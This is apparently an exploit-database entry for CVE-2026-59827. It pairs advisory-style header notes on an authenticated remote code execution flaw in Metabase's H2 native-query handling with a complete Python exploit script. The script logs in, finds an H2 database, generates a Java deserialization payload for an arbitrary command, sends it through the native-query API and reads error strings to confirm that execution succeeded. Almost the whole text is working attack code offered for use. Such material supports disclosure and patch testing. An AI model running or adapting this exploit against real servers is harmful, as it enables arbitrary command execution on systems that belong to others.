# Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution
# Date: 2026-08-12
# Exploit Author: Gutierre0x80
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://github.com/metabase/metabase
# Version: >= 0.58.0 < 0.58.15, >= 0.59.0 < 0.59.12, >= 0.60.0 < 0.60.6.3, >= 0.61.0 < 0.61.1.4
# CVE: CVE-2026-59827
#
# Advisory:
# https://github.com/metabase/metabase/security/advisories/GHSA-w95f-x9v9-wv36
#
# Description:
# Metabase instances with an H2 database connection, including the default
# sample database, deserialize arbitrary Java objects returned by native H2
# queries in result columns of type OTHER without validation. An authenticated
# user with permission to execute native queries against an accessible H2
# database can exploit this behavior to execute arbitrary operating-system
# commands on the Metabase server.
#
# Requirements:
# - Valid Metabase credentials
# - Permission to execute native database queries
# - Access to an H2 database connection, including the default sample database
#
# Download:
# git clone https://github.com/Gutierre0x80/CVE-2026-59827.git
# cd CVE-2026-59827
#
# Usage:
# python3 exploit.py <target_url> <username> <password> <command>
#
# Example:
# python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id'
#
# Repository:
# https://github.com/Gutierre0x80/CVE-2026-59827
#!/usr/bin/env python3
"""
Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL
Affects: <= v0.61.1 (latest at time of disclosure)
Usage:
python3 exploit.py <url> <user> <password> <command>
Example:
python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id"
Required files (same directory as this script):
clojure-1.12.3.jar
VarChainPayload.class
"""
import os
import sys
import subprocess
import requests
HERE = os.path.dirname(os.path.realpath(__file__))
CLJ_JAR = os.path.join(HERE, "clojure-1.12.3.jar")
CLASSPATH = f":{CLJ_JAR}:{HERE}"
def die(msg):
print(f"[-] {msg}", file=sys.stderr)
sys.exit(1)
def check_deps():
missing = []
# Check local files
for p in [CLJ_JAR, os.path.join(HERE, "VarChainPayload.class")]:
if not os.path.isfile(p):
missing.append(os.path.basename(p))
if missing:
die(f"Missing files in {HERE}: {missing}")
# Check system binaries
try:
subprocess.run(["java", "-version"], capture_output=True, timeout=5, check=True)
except (FileNotFoundError, subprocess.CalledProcessError):
die("Java not found or not working. Install OpenJDK 11+ and add to PATH")
try:
import requests
except ImportError:
die("Python 'requests' library not found. Install with: pip install requests")
def get_token(session, url, user, password):
r = session.post(f"{url}/api/session",
json={"username": user, "password": password}, timeout=15)
r.raise_for_status()
token = r.json().get("id")
if not token:
die(f"Authentication failed: {r.text[:200]}")
return token
def get_h2_db_id(session, url, token):
r = session.get(f"{url}/api/database",
headers={"X-Metabase-Session": token}, timeout=15)
r.raise_for_status()
data = r.json()
dbs = data.get("data", data) if isinstance(data, dict) else data
for db in dbs:
if db.get("engine") == "h2":
return db["id"], db["name"]
die("No H2 database found in this Metabase instance.")
def generate_payload(command):
result = subprocess.run(
["java",
"--add-opens", "java.base/java.util=ALL-UNNAMED",
"-cp", CLASSPATH,
"VarChainPayload", command],
capture_output=True, text=True, timeout=30
)
payload = result.stdout.strip()
if not payload:
die(f"Payload generation failed:\n{result.stderr}")
return payload
def fire(session, url, token, db_id, payload_hex):
sql = f"SELECT CAST(X'{payload_hex}' AS OTHER)"
r = session.post(
f"{url}/api/dataset",
headers={"X-Metabase-Session": token},
json={"database": db_id, "native": {"query": sql}, "type": "native"},
timeout=30
)
return r.json()
def main():
if len(sys.argv) != 5:
print(__doc__)
sys.exit(1)
_, url, user, password, command = sys.argv
url = url.rstrip("/")
check_deps()
s = requests.Session()
s.headers.update({"Content-Type": "application/json"})
print(f"[*] Target : {url}")
print(f"[*] User : {user}")
print(f"[*] Command : {command}")
print()
print("[*] Authenticating...")
token = get_token(s, url, user, password)
print(f"[+] Session : {token}")
print("[*] Locating H2 database...")
db_id, db_name = get_h2_db_id(s, url, token)
print(f"[+] Database : {db_name} (id={db_id})")
print("[*] Generating payload...")
payload = generate_payload(command)
print(f"[+] Payload : {len(payload) // 2} bytes")
print("[*] Firing exploit...")
result = fire(s, url, token, db_id, payload)
error = str(result)
ran_indicators = [
"ClassCastException", # normal: Process cast to Number
"ProcessImpl", # process object leaked in error
"NonTransientConnection", # H2 lock after exec triggered reconnect
"JdbcSQLData", # deserialization error after exec
]
if any(ind in error for ind in ran_indicators):
print("[+] RCE executed — H2 error after deserialization confirms command ran")
else:
print(f"[?] Unexpected response (command may not have run): {error[:300]}")
print()
print("[*] Done. If the command writes output to a file, retrieve it separately.")
if __name__ == "__main__":
main()